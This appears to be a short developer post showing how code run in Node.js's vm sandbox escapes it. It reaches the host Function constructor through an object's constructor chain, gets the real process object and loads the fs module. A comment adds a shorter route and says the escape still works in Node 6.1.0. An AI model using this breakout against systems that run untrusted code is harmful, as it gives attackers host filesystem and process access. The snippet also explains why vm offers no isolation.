Escaping the vm sandbox

escape-vm.js

"use strict";
const vm = require("vm");

const sandbox = { anObject: {} };
const whatIsThis = vm.runInNewContext(`
    const ForeignObject = anObject.constructor;
    const ForeignFunction = ForeignObject.constructor;
    const process = ForeignFunction("return process")();
    const require = process.mainModule.require;
    require("fs");
`, sandbox);

Technically you can also just do:
const ForeignFunction = this.constructor.constructor;
since the context object itself is created in the context you want. You don't even need a foreign object.

Also, this still appears to be an issue in Node 6.1.0. Just tested this for a silly Hubot script we have.